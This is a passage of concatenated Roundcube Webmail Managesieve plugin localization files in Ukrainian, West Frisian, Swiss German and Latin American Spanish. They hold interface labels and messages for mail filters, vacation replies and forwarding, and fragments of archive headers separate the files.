$labels['date'] = 'дата (рррр-мм-дд)';
$labels['julian'] = 'дата (юліанський календар)';
$labels['hour'] = 'година';
$labels['minute'] = 'хвилина';
$labels['second'] = 'секунда';
$labels['time'] = 'час (гг:хх:сс)';
$labels['iso8601'] = 'дата (ISO8601)';
$labels['std11'] = 'дата (RFC2822)';
$labels['zone'] = 'часовий пояс';
$labels['weekday'] = 'робочий день (0-6)';
$labels['advancedopts'] = 'Розширені параметри';
$labels['body'] = 'Тіло';
$labels['address'] = 'адреса';
$labels['envelope'] = 'конверт';
$labels['modifier'] = 'модифікатор: ';
$labels['text'] = 'текст';
$labels['undecoded'] = 'недекодований (сирий)';
$labels['contenttype'] = 'тип вмісту';
$labels['modtype'] = 'тип:';
$labels['allparts'] = 'все';
$labels['domain'] = 'домен';
$labels['localpart'] = 'локальна частина';
$labels['user'] = 'користувач';
$labels['detail'] = 'деталь';
$labels['comparator'] = 'компаратор:';
$labels['default'] = 'типово';
$labels['octet'] = 'строгий (octet)';
$labels['asciicasemap'] = 'чутливий до регістру (ascii-casemap)';
$labels['asciinumeric'] = 'числовий (ascii-numeric)';
$labels['index'] = 'індекс:';
$labels['indexlast'] = 'назад';
$labels['spamtestequals'] = 'ідентичний до';
$labels['spamtestnotequals'] = 'не ідентичний до';
$labels['vacation.reply'] = 'Повідомлення-відповідь';
$labels['vacation.advanced'] = 'Розширені налаштування';
$labels['vacation.from'] = 'Адреса відправника відповіді';
$labels['vacation.subject'] = 'Тема';
$labels['vacation.body'] = 'Тіло ';
$labels['vacation.status'] = 'Статус';
$labels['vacation.on'] = 'Увімкнено';
$labels['vacation.off'] = 'Вимкнено';
$labels['vacation.addresses'] = 'Мої електронні адреси';
$labels['vacation.interval'] = 'Інтервал відповіді';
$labels['vacation.saving'] = 'Збереження даних…';
$labels['vacation.action'] = 'Дія щодо вхідного повідомлення';
$labels['vacation.keep'] = 'Залишити';
$labels['vacation.discard'] = 'Відкинути';
$labels['vacation.redirect'] = 'Перенаправити до ';
$labels['vacation.copy'] = 'Надсилати копію до ';
$labels['forward.redirect'] = 'Перенаправити до ';
$labels['forward.copy'] = 'Надсилати копію до ';
$labels['forward.on'] = 'Увімкнено';
$labels['forward.off'] = 'Вимкнено';
$labels['forward.saving'] = 'Збереження даних…';
$labels['filladdresses'] = 'Заповнити усіма моїми адресами ';
$labels['arialabelfiltersetactions'] = 'Дії набору фільтрів';
$labels['arialabelfilteractions'] = 'Дії фільтра';
$labels['arialabelfilterform'] = 'Властивості фільтра';
$labels['ariasummaryfilterslist'] = 'Список фільтрів';
$labels['ariasummaryfiltersetslist'] = 'Список наборів фільтрів';
$labels['filterstitle'] = 'Редагувати фільтри вхідної пошти';
$labels['vacationtitle'] = 'Редагувати правило поза-офісом';
$labels['message'] = 'Лист';
$labels['duplicate'] = 'є дублікатем';
$labels['notduplicate'] = 'не є дублікатем';
$labels['duplicate.handle'] = 'оброблювач:';
$labels['duplicate.header'] = 'заголовок:';
$labels['duplicate.uniqueid'] = 'ідентифікатор:';
$labels['duplicate.seconds'] = 'таймаут (секунд):';
$labels['duplicate.last'] = 'відносно остатнього виконання';
$messages['filterunknownerror'] = 'Невідома помилка сервера.';
$messages['filterconnerror'] = 'Неможливо з\'єднатися з сервером.';
$messages['filterdeleteerror'] = 'Неможливо вилучити фільтр. Сталася помилка сервера.';
$messages['filterdeleted'] = 'Фільтр успішно видалено.';
$messages['filtersaved'] = 'Фільтр успішно збережено.';
$messages['filtersaveerror'] = 'Неможливо зберегти фільтр. Сталася помилка сервера.';
$messages['filterformerror'] = 'Форма фільтрів містить помилки.';
$messages['filterdeleteconfirm'] = 'Ви дійсно хочете видалити обраний фільтр?';
$messages['ruledeleteconfirm'] = 'Ви дійсно хочете видалити обране правило?';
$messages['actiondeleteconfirm'] = 'Ви дійсно хочете видалити обрану дію?';
$messages['forbiddenchars'] = 'Введено заборонені символи.';
$messages['cannotbeempty'] = 'Поле не може бути пустим.';
$messages['ruleexist'] = 'Фільтр з такою назвою вже існує.';
$messages['activateerror'] = 'Неможливо увімкнути обраний фільтр (фільтри). Помилка сервера.';
$messages['deactivateerror'] = 'Неможливо вимкнути обраний фільтр (фільтр). Помилка сервера.';
$messages['deactivated'] = 'Фільтр(и) успішно вимкнено.';
$messages['activated'] = 'Фільтр(и) успішно увімкнено.';
$messages['moved'] = 'Фільтр успішно переміщено.';
$messages['moveerror'] = 'Неможливо перемістити обраний фільтр. Помилка сервера.';
$messages['nametoolong'] = 'Занадто довга назва.';
$messages['namereserved'] = 'Зарезервована назва.';
$messages['setexist'] = 'Набір уже існує.';
$messages['nodata'] = 'Має бути обрано хоча б один варіант!';
$messages['invaliddateformat'] = 'Недійсний формат дати або частини дати';
$messages['saveerror'] = 'Неможливо зберегти дані. Сталася помилка сервера.';
$messages['emptyvacationbody'] = 'Тіло повідомлення про відпустку обов\'язкове!';
$messages['duplicate.conflict.err'] = 'Заголовок та унікальний ідентифікатор не допускаються разом.';
PKh�\�~�U��*plugins/managesieve/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['scope'] = 'Berik';
$labels['messagedelete'] = 'Berjocht fuortsmite';
$labels['add'] = 'Tafoegje';
$labels['del'] = 'Fuortsmite';
$labels['sender'] = 'Stjoerder';
$labels['none'] = 'gjin';
$labels['flagread'] = 'Lêze';
$labels['flagdeleted'] = 'Ferwidere';
$labels['flagflagged'] = 'Flagge';
$labels['notifyimportance'] = 'Prioriteit:';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telefoannûmer';
$labels['notifymethodsms'] = 'SMS';
$labels['...'] = '...';
$labels['datetest'] = 'Date';
$labels['year'] = 'jier';
$labels['month'] = 'moanne';
$labels['day'] = 'dei';
$labels['hour'] = 'oerre';
$labels['minute'] = 'minút';
$labels['second'] = 'sekonde';
$labels['time'] = 'tiid (oo:mm:ss)';
$labels['iso8601'] = 'datum (ISO8601)';
$labels['std11'] = 'datum (RFC2822)';
$labels['zone'] = 'tiidsône';
$labels['advancedopts'] = 'Avansearre opsjes';
$labels['body'] = 'Ynhâld';
$labels['text'] = 'tekst';
$labels['modtype'] = 'type:';
$labels['domain'] = 'domein';
$labels['user'] = 'brûker';
$labels['vacation.subject'] = 'Ûnderwerp';
$labels['vacation.body'] = 'Ynhâld';
$labels['vacation.status'] = 'Status';
$labels['vacation.keep'] = 'Hâlde';
PKh�\$�w7w7*plugins/managesieve/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filter';
$labels['managefilters'] = 'Verwalte eingehende Nachrichtenfilter';
$labels['filtername'] = 'Filtername';
$labels['newfilter'] = 'Neuer Filter';
$labels['filteradd'] = 'Filter hinzufügen';
$labels['filterdel'] = 'Filter löschen';
$labels['rules'] = 'Regeln';
$labels['actions'] = 'Aktionen';
$labels['scope'] = 'Suchbereich';
$labels['moveup'] = 'Nach oben';
$labels['movedown'] = 'Nach unten';
$labels['filterallof'] = 'UND (alle Regeln müssen zutreffen)';
$labels['filteranyof'] = 'ODER (eine der Regeln muss zutreffen';
$labels['filterany'] = 'Für alle Nachrichten';
$labels['filtercontains'] = 'enthält';
$labels['filternotcontains'] = 'enthält nicht';
$labels['filteris'] = 'ist gleich';
$labels['filterisnot'] = 'ist ungleich';
$labels['filterexists'] = 'ist vorhanden';
$labels['filternotexists'] = 'nicht vorhanden';
$labels['filtermatches'] = 'entspricht Ausdruck';
$labels['filternotmatches'] = 'entspricht nicht Ausdruck';
$labels['filterregex'] = 'trifft regulären Ausdruck';
$labels['filternotregex'] = 'entspricht regulärem Ausdruck';
$labels['filterunder'] = 'unter';
$labels['filterover'] = 'über';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME-Teil:';
$labels['mime-message'] = 'Nachricht';
$labels['mime-anychild'] = 'weiteres';
$labels['mime-type'] = 'Typ';
$labels['mime-subtype'] = 'Untertyp';
$labels['mime-contenttype'] = 'Inhaltstyp';
$labels['mime-param'] = 'Parameter';
$labels['addrule'] = 'Regel hinzufügen';
$labels['delrule'] = 'Regel löschen';
$labels['messagemoveto'] = 'Verschiebe Nachricht nach';
$labels['messageredirect'] = 'Leite Nachricht um nach';
$labels['messagecopyto'] = 'Kopiere Nachricht nach';
$labels['messagesendcopy'] = 'Sende Kopie an';
$labels['messagereply'] = 'Antworte mit Nachricht';
$labels['messagedelete'] = 'Nachricht löschen';
$labels['messagediscard'] = 'Discard with message';
$labels['messagekeep'] = 'Im Posteingang behalten';
$labels['messagesrules'] = 'Für eingehende Nachrichten:';
$labels['messagesactions'] = 'Führe folgende Aktionen aus:';
$labels['add'] = 'Hinzufügen';
$labels['del'] = 'Löschen';
$labels['sender'] = 'Absender';
$labels['recipient'] = 'Empfänger';
$labels['vacationaddr'] = 'Meine E-Mail-Adressen:';
$labels['vacationdays'] = 'Antwort wird erneut gesendet nach (in Tagen):';
$labels['vacationinterval'] = 'Wie oft senden:';
$labels['vacationreason'] = 'Inhalt der Nachricht (Abwesenheitsgrund):';
$labels['vacationfrom'] = 'Antwort E-Mail-Adresse:';
$labels['vacationsubject'] = 'Betreff';
$labels['days'] = 'Tage';
$labels['seconds'] = 'Sekunden';
$labels['rulestop'] = 'Regelauswertung anhalten';
$labels['enable'] = 'Aktivieren/Deaktivieren';
$labels['filterset'] = 'Filtersatz';
$labels['filtersets'] = 'Filtersätze';
$labels['filtersetadd'] = 'Filtersatz anlegen';
$labels['filtersetdel'] = 'Filtersatz löschen';
$labels['filtersetact'] = 'Aktuellen Filtersatz aktivieren';
$labels['filtersetdeact'] = 'Aktuellen Filtersatz deaktivieren';
$labels['filterseteditraw'] = 'Filtersatz bearbeiten';
$labels['filtersetswitch'] = 'Filtersatz aktivieren/deaktivieren';
$labels['filterdef'] = 'Filterdefinition';
$labels['filtersetname'] = 'Filtersatzname';
$labels['newfilterset'] = 'Neuer Filtersatz';
$labels['active'] = 'aktiv';
$labels['none'] = 'keine';
$labels['fromset'] = 'aus Filtersatz';
$labels['fromfile'] = 'aus Datei';
$labels['filterdisabled'] = 'Filter deaktiviert';
$labels['filterenabled'] = 'Filter aktiviert';
$labels['countisgreaterthan'] = 'Anzahl ist grösser als';
$labels['countisgreaterthanequal'] = 'Anzahl ist gleich oder grösser als';
$labels['countislessthan'] = 'Anzahl ist kleiner als';
$labels['countislessthanequal'] = 'Anzahl ist gleich oder kleiner als';
$labels['countequals'] = 'Anzahl ist gleich';
$labels['countnotequals'] = 'Anzahl ist ungleich';
$labels['valueisgreaterthan'] = 'Wert ist grösser als';
$labels['valueisgreaterthanequal'] = 'Wert ist gleich oder grösser als';
$labels['valueislessthan'] = 'Wert ist kleiner';
$labels['valueislessthanequal'] = 'Wert ist gleich oder kleiner als';
$labels['valueequals'] = 'Wert ist gleich';
$labels['valuenotequals'] = 'Wert ist ungleich';
$labels['setflags'] = 'Setze Markierungen';
$labels['addflags'] = 'Füge Markierung hinzu';
$labels['removeflags'] = 'Entferne Markierung';
$labels['flagread'] = 'gelesen';
$labels['flagdeleted'] = 'Gelöscht';
$labels['flaganswered'] = 'Beantwortet';
$labels['flagflagged'] = 'Markiert';
$labels['flagdraft'] = 'Entwurf';
$labels['addheader'] = 'Kopfzeile zur Nachricht hinzufügen';
$labels['deleteheader'] = 'Kopfzeile von Nachricht entfernen';
$labels['headername'] = 'Name der Kopfzeile';
$labels['headervalue'] = 'Wert der Kopfzeile';
$labels['headerpos'] = 'Position der Kopfzeile';
$labels['headeratstart'] = 'am Anfang';
$labels['headeratend'] = 'am Ende';
$labels['headeroccurrence'] = 'Auftreten / Position der Kopfzeile';
$labels['headerfromstart'] = 'vom Start';
$labels['headerfromend'] = 'vom Ende';
$labels['headerpatterns'] = 'Vorlage des Kopfzeilen-Werts';
$labels['headermatchtype'] = 'passender Typ:';
$labels['setvariable'] = 'Setze Variable';
$labels['setvarname'] = 'Variablenname:';
$labels['setvarvalue'] = 'Variablenwert:';
$labels['setvarmodifiers'] = 'Umwandler:';
$labels['varlower'] = 'Kleinschreibung';
$labels['varupper'] = 'Grossschreibung';
$labels['varlowerfirst'] = 'Erster Buchstabe klein';
$labels['varupperfirst'] = 'Erster Buchstabe gross';
$labels['varquotewildcard'] = 'Sonderzeichen auszeichnen';
$labels['varlength'] = 'Länge';
$labels['notify'] = 'Mitteilung senden';
$labels['notifytarget'] = 'Mitteilungsempfänger:';
$labels['notifymessage'] = 'Mitteilungstext (optional):';
$labels['notifyoptions'] = 'Mitteilungsoptionen (optional):';
$labels['notifyfrom'] = 'Absender (optional):';
$labels['notifyimportance'] = 'Wichtigkeit:';
$labels['notifyimportancelow'] = 'tief';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'hoch';
$labels['notifymethodmailto'] = 'E-Mail';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Filter erstellen';
$labels['usedata'] = 'Die folgenden Daten im Filter benutzen:';
$labels['nextstep'] = 'Nächster Schritt';
$labels['...'] = '...';
$labels['string'] = 'Zeichenkette';
$labels['currdate'] = 'Aktuelles Datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'Kopfzeile:';
$labels['year'] = 'Jahr';
$labels['month'] = 'Monat';
$labels['day'] = 'Tag';
$labels['date'] = 'Datum (JJJJ-MM-TT)';
$labels['julian'] = 'Datum (julianisch)';
$labels['hour'] = 'Stunde';
$labels['minute'] = 'Minute';
$labels['second'] = 'Sekunde';
$labels['time'] = 'Zeit (hh:mm:ss)';
$labels['iso8601'] = 'Datum (ISO-8601)';
$labels['std11'] = 'Datum (RFC 2822)';
$labels['zone'] = 'Zeitzone';
$labels['weekday'] = 'Wochentag (0-6)';
$labels['advancedopts'] = 'Erweiterte Optionen';
$labels['body'] = 'Inhalt';
$labels['address'] = 'Adresse';
$labels['envelope'] = 'Umschlag';
$labels['modifier'] = 'Wandler';
$labels['text'] = 'Text';
$labels['undecoded'] = 'kodiert (roh)';
$labels['contenttype'] = 'Inhaltstyp';
$labels['modtype'] = 'Typ:';
$labels['allparts'] = 'alle';
$labels['domain'] = 'Domain';
$labels['localpart'] = 'lokaler Teil';
$labels['user'] = 'Benutzer';
$labels['detail'] = 'Detail';
$labels['comparator'] = 'Komparator';
$labels['default'] = 'Vorgabewert';
$labels['octet'] = 'strikt (Oktet)';
$labels['asciicasemap'] = 'Gross-/Kleinschreibung ignorieren';
$labels['asciinumeric'] = 'numerisch (ascii-numeric)';
$labels['index'] = 'Index:';
$labels['indexlast'] = 'rückwärts';
$labels['spamtest'] = 'Spam-Niveau';
$labels['spamtestisgreaterthan'] = 'ist grösser als';
$labels['spamtestisgreaterthanequal'] = 'ist grösser oder gleich als';
$labels['spamtestislessthan'] = 'ist kleiner als';
$labels['spamtestislessthanequal'] = 'ist kleiner oder gleich als';
$labels['spamtestequals'] = 'ist gleich';
$labels['spamtestnotequals'] = 'ist ungleich';
$labels['spamtestisunknown'] = 'ist unbekannt';
$labels['vacation'] = 'Abwesenheit';
$labels['vacation.reply'] = 'Antworte mit Nachricht';
$labels['vacation.advanced'] = 'Erweiterte Einstellungen';
$labels['vacation.from'] = 'Antwort E-Mail-Adresse:';
$labels['vacation.subject'] = 'Betreff';
$labels['vacation.body'] = 'Inhalt';
$labels['vacation.start'] = 'Beginn der Abwesenheit';
$labels['vacation.end'] = 'Ende der Abwesenheit';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Ein';
$labels['vacation.off'] = 'Aus';
$labels['vacation.addresses'] = 'Meine E-Mail-Adressen';
$labels['vacation.interval'] = 'Antwort-Intervall';
$labels['vacation.after'] = 'Abwesenheitsregel einfügen nach';
$labels['vacation.saving'] = 'Speichere Daten...';
$labels['vacation.action'] = 'Aktion für eingehende Nachrichten';
$labels['vacation.keep'] = 'Behalten';
$labels['vacation.discard'] = 'Verwerfen';
$labels['vacation.redirect'] = 'Weiterleiten an';
$labels['vacation.copy'] = 'Kopie an';
$labels['forward'] = 'Weiterleitung';
$labels['forward.redirect'] = 'Weiterleiten an';
$labels['forward.copy'] = 'Kopie an';
$labels['forward.on'] = 'Ein';
$labels['forward.off'] = 'Aus';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Für eingehende Mails die folgende Aktion ausführen:';
$labels['forward.saving'] = 'Speichere Daten...';
$labels['filladdresses'] = 'Mit allen meiner Adressen ausfüllen';
$labels['arialabelfiltersetactions'] = 'Filtersatz-Aktionen';
$labels['arialabelfilteractions'] = 'Filteraktionen';
$labels['arialabelfilterform'] = 'Filtereigenschaften';
$labels['ariasummaryfilterslist'] = 'Filterliste';
$labels['ariasummaryfiltersetslist'] = 'Filtersatzliste';
$labels['filterstitle'] = 'Eingehende Nachrichtenfilter bearbeiten';
$labels['vacationtitle'] = 'Abwesenheitsregel bearbeiten';
$labels['forwardtitle'] = 'Mail-Weiterleitungsregel bearbeiten';
$labels['message'] = 'Nachricht';
$labels['duplicate'] = 'ist doppelt';
$labels['notduplicate'] = 'ist nicht doppelt';
$labels['duplicate.handle'] = 'verarbeiten:';
$labels['duplicate.header'] = 'Kopfzeile:';
$labels['duplicate.uniqueid'] = 'Bezeichner:';
$labels['duplicate.seconds'] = 'Zeitüberschreitung (Sekunden):';
$labels['duplicate.last'] = 'relativ zur letzten Ausführung';
$messages['filterunknownerror'] = 'Unbekannter Serverfehler';
$messages['filterconnerror'] = 'Kann nicht zum Sieve-Server verbinden';
$messages['filterdeleteerror'] = 'Serverfehler beim Löschen des Filters.';
$messages['filterdeleted'] = 'Filter erfolgreich gelöscht';
$messages['filtersaved'] = 'Filter gespeichert';
$messages['filtersaveerror'] = 'Serverfehler beim Speichern des Filters.';
$messages['filterformerror'] = 'Filter-Formular enthält Fehler.';
$messages['filterdeleteconfirm'] = 'Möchten Sie den Filter löschen ?';
$messages['ruledeleteconfirm'] = 'Sicher, dass Sie die Regel löschen wollen?';
$messages['actiondeleteconfirm'] = 'Sicher, dass Sie die ausgewaehlte Aktion löschen wollen?';
$messages['forbiddenchars'] = 'Unerlaubte Zeichen im Feld';
$messages['cannotbeempty'] = 'Feld darf nicht leer sein';
$messages['ruleexist'] = 'Ein Filter mit dem angegebenen Namen existiert bereits.';
$messages['setactivateerror'] = 'Kann ausgewählten Filtersatz nicht aktivieren. Serverfehler';
$messages['setdeactivateerror'] = 'Kann ausgewählten Filtersatz nicht deaktivieren. Serverfehler';
$messages['setdeleteerror'] = 'Kann ausgewählten Filtersatz nicht löschen. Serverfehler';
$messages['setactivated'] = 'Filtersatz erfolgreich aktiviert.';
$messages['setdeactivated'] = 'Filtersatz erfolgreich deaktiviert.';
$messages['setdeleted'] = 'Filtersatz erfolgreich gelöscht.';
$messages['setupdated'] = 'Filtersatz erfolgreich aktualisiert.';
$messages['setdeleteconfirm'] = 'Sind Sie sicher, dass Sie den ausgewählten Filtersatz löschen möchten?';
$messages['setcreateerror'] = 'Der Filtersatz kann nicht erstellt werden. Serverfehler aufgetreten.';
$messages['setcreated'] = 'Filtersatz erfolgreich erstellt.';
$messages['activateerror'] = 'Serverfehler beim Aktivieren des/der gewählten Filter(s).';
$messages['deactivateerror'] = 'Serverfehler beim Deaktivieren des/der gewählten Filter(s).';
$messages['deactivated'] = 'Filter erfolgreich aktiviert.';
$messages['activated'] = 'Filter erfolgreich deaktiviert.';
$messages['moved'] = 'Filter erfolgreich verschoben.';
$messages['moveerror'] = 'Serverfehler beim Verschieben des gewählten Filters.';
$messages['nametoolong'] = 'Filtersatz kann nicht erstellt werden. Name zu lang.';
$messages['namereserved'] = 'Reservierter Name.';
$messages['setexist'] = 'Filtersatz existiert bereits.';
$messages['nodata'] = 'Mindestens eine Position muss ausgewählt werden!';
$messages['invaliddateformat'] = 'Ungültiges Datumsformat';
$messages['saveerror'] = 'Fehler beim Speichern (Serverfehler)';
$messages['vacationsaved'] = 'Abwesenheitsnotiz erfolgreich gespeichert.';
$messages['forwardsaved'] = 'Weiterleitungsdaten erfolgreich gespeichert.';
$messages['emptyvacationbody'] = 'Mitteilungstext ist erforderlich!';
$messages['duplicate.conflict.err'] = 'Kopfzeile und eindeutiger Bezeichner sind nicht zusammen erlaubt.';
$messages['disabledaction'] = 'Aktion nicht erlaubt.';
$messages['lastindexempty'] = 'Ein Index ist nötig, wenn vom Ende gezählt wird';
$messages['noflagset'] = 'Es muss mindestens ein Merker ausgewählt werden.';
PKh�\w�I)I)+plugins/managesieve/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtros';
$labels['managefilters'] = 'Administrar filtros de correos entrantes';
$labels['filtername'] = 'Nombre del filtro';
$labels['newfilter'] = 'Filtro nuevo';
$labels['filteradd'] = 'Agregar filtro';
$labels['filterdel'] = 'Eliminar filtro';
$labels['actions'] = 'Acciones';
$labels['scope'] = 'Alcance';
$labels['moveup'] = 'Mover hacia arriba';
$labels['movedown'] = 'Mover hacia abajo';
$labels['filterallof'] = 'coincide con todas las reglas siguientes';
$labels['filteranyof'] = 'coincide con cualquiera de las reglas siguientes';
$labels['filterany'] = 'todos los mensajes';
$labels['filtercontains'] = 'contiene';
$labels['filternotcontains'] = 'no contiene';
$labels['filteris'] = 'es igual a';
$labels['filterisnot'] = 'no es igual a';
$labels['filterexists'] = 'existe';
$labels['filternotexists'] = 'no existe';
$labels['filtermatches'] = 'coincide con la expresión';
$labels['filternotmatches'] = 'no coincide con la expresión';
$labels['filterregex'] = 'coincide con la expresión regular';
$labels['filternotregex'] = 'no coincide con la expresión regular';
$labels['filterunder'] = 'bajo';
$labels['filterover'] = 'sobre';
$labels['addrule'] = 'Agregar regla';
$labels['delrule'] = 'Eliminar regla';
$labels['messagemoveto'] = 'Mover mensaje a';
$labels['messageredirect'] = 'Redireccionar mensaje a';
$labels['messagecopyto'] = 'Copiar mensaje a';
$labels['messagesendcopy'] = 'Enviar una copia del mensaje a ';
$labels['messagereply'] = 'Responder con el mensaje';
$labels['messagedelete'] = 'Eliminar mensaje';
$labels['messagediscard'] = 'Descartar el mensaje';
$labels['messagekeep'] = 'Mantener mensaje en la bandeja de entrada';
$labels['messagesrules'] = 'Para correo entrante:';
$labels['messagesactions'] = '... ejecutar las siguientes acciones:';
$labels['add'] = 'Agregar';
$labels['del'] = 'Eliminar';
$labels['sender'] = 'Remitente';
$labels['recipient'] = 'Destinatario';
$labels['vacationdays'] = 'Cuan a menudo enviar mensajes (en días):';
$labels['vacationinterval'] = '¿Con qué frecuencia enviar mensajes?:';
$labels['vacationreason'] = 'Cuerpo del mensaje (motivo de las vacaciones):';
$labels['vacationsubject'] = 'Asunto del mensaje:';
$labels['days'] = 'días';
$labels['seconds'] = 'segundos';
$labels['rulestop'] = 'Detener la evaluación de reglas';
$labels['enable'] = 'Habilitar/Deshabilitar';
$labels['filtersets'] = 'Filtro acciona';
$labels['filterdef'] = 'Definición del filtro';
$labels['active'] = 'activo';
$labels['none'] = 'ninguno';
$labels['fromset'] = 'desde set';
$labels['fromfile'] = 'desde archivo';
$labels['filterdisabled'] = 'filtro deshabilitado';
$labels['countisgreaterthan'] = 'la cuenta es mayor a';
$labels['countisgreaterthanequal'] = 'la cuenta es mayor o igual a ';
$labels['countislessthan'] = 'la cuenta es menor que';
$labels['countislessthanequal'] = 'la cuenta es menor o igual que';
$labels['countequals'] = 'la cuenta es igual a ';
$labels['countnotequals'] = 'la cuenta no es menor a';
$labels['valueisgreaterthan'] = 'el valor es mayor que';
$labels['valueisgreaterthanequal'] = 'el balor es mayor o igual que ';
$labels['valueislessthan'] = 'el valor es menor que ';
$labels['valueislessthanequal'] = 'el valor es menor o igual que ';
$labels['valueequals'] = 'el valor es igual a ';
$labels['valuenotequals'] = 'el valor no es igual a';
$labels['setflags'] = 'Colocar etiquetas al mensaje';
$labels['addflags'] = 'Agrega etiquetas al mensaje';
$labels['removeflags'] = 'Eliminar etiquetas al mensaje';
$labels['flagread'] = 'Leido';
$labels['flagdeleted'] = 'Eliminado';
$labels['flaganswered'] = 'Respondido';
$labels['flagflagged'] = 'Etiquetado';
$labels['flagdraft'] = 'Borrador';
$labels['setvariable'] = 'Establecer variable';
$labels['setvarname'] = 'Nombre de la variable:';
$labels['setvarvalue'] = 'Valor de la variable:';
$labels['setvarmodifiers'] = 'Modificadores:';
$labels['varlower'] = 'minúscula';
$labels['varupper'] = 'mayúscula';
$labels['varlowerfirst'] = 'primer carácter en minúscula';
$labels['varupperfirst'] = 'primer carácter en mayúscula';
$labels['varquotewildcard'] = 'citar carácteres especiales';
$labels['varlength'] = 'largo';
$labels['notify'] = 'Enviar notificación';
$labels['notifytarget'] = 'Destinatario de la notificación:';
$labels['notifymessage'] = 'Mensaje de notificación (opcional):';
$labels['notifyoptions'] = 'Opciones de notificación (opcional):';
$labels['notifyfrom'] = 'Remitente de la notificación (opcional):';
$labels['notifyimportance'] = 'Importancia:';
$labels['notifyimportancelow'] = 'baja';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'alta';
$labels['notifymethodmailto'] = 'Correo electrónico';
$labels['notifymethodtel'] = 'Teléfono';
$labels['notifymethodsms'] = 'Mensaje de texto';
$labels['filtercreate'] = 'Crear filtro';
$labels['usedata'] = 'Usar los datos siguientes en el filtro:';
$labels['nextstep'] = 'Paso siguiente';
$labels['...'] = '...';
$labels['currdate'] = 'Fecha actual';
$labels['datetest'] = 'Fecha';
$labels['dateheader'] = 'encabezado:';
$labels['year'] = 'año';
$labels['month'] = 'mes';
$labels['day'] = 'día';
$labels['date'] = 'fecha(aaaa-mm-dd)';
$labels['julian'] = 'fecha (julian)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'fecha (ISO8601)';
$labels['std11'] = 'fecha (RFC2822)';
$labels['zone'] = 'zona horaria';
$labels['weekday'] = 'día de la semana (0-6)';
$labels['advancedopts'] = 'Opciones avanzadas';
$labels['body'] = 'Cuerpo';
$labels['address'] = 'dirección';
$labels['envelope'] = 'sobre';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'decodificado (crudo)';
$labels['contenttype'] = 'tipo de contenido';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'todo';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'usuario';
$labels['detail'] = 'detalle';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'predeterminado';
$labels['octet'] = 'estricto (octeto)';
$labels['asciicasemap'] = 'no sensible a mayúsculas y minúsculas (mapero-ascii)';
$labels['asciinumeric'] = 'numérico (ascii-numérico)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'hacia atrás';
$labels['spamtestequals'] = 'es igual a';
$labels['spamtestnotequals'] = 'no es igual a';
$labels['vacation.reply'] = 'Responder mensaje';
$labels['vacation.advanced'] = 'Opciones avanzadas';
$labels['vacation.subject'] = 'Asunto';
$labels['vacation.body'] = 'Cuerpo';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Encendido';
$labels['vacation.off'] = 'Apagado';
$labels['vacation.interval'] = 'Intervalo de respuesta';
$labels['vacation.saving'] = 'Guardando información...';
$labels['vacation.action'] = 'Acción para mensaje entrante';
$labels['vacation.keep'] = 'Mantener';
$labels['vacation.discard'] = 'Descartar';
$labels['vacation.redirect'] = 'Redireccionar a';
$labels['vacation.copy'] = 'Enviar una copia a';
$labels['forward.redirect'] = 'Redireccionar a';
$labels['forward.copy'] = 'Enviar una copia a';
$labels['forward.on'] = 'Encendido';
$labels['forward.off'] = 'Apagado';
$labels['forward.saving'] = 'Guardando información...';
$labels['arialabelfiltersetactions'] = 'Acciones del set de filtros';
$labels['arialabelfilteractions'] = 'Acciones de filtros';
$labels['arialabelfilterform'] = 'Propiedades de filtros';
$labels['ariasummaryfilterslist'] = 'Lista de filtros';
$labels['ariasummaryfiltersetslist'] = 'Lista de set de filtros';
$labels['filterstitle'] = 'Administrar filtros de correos entrantes';
$labels['vacationtitle'] = 'Editar regla de fuera de oficina';
$labels['duplicate.header'] = 'encabezado:';
$messages['filterunknownerror'] = 'Error de servidor desconocido.';
$messages['filterconnerror'] = 'No se puede conectar al servidor.';
$messages['filterdeleteerror'] = 'No se puede eliminar el filtro. Ocurrió un error de servidor.';
$messages['filterdeleted'] = 'Filtro eliminado exitosamente.';
$messages['filtersaved'] = 'Filtro guardado exitosamente.';
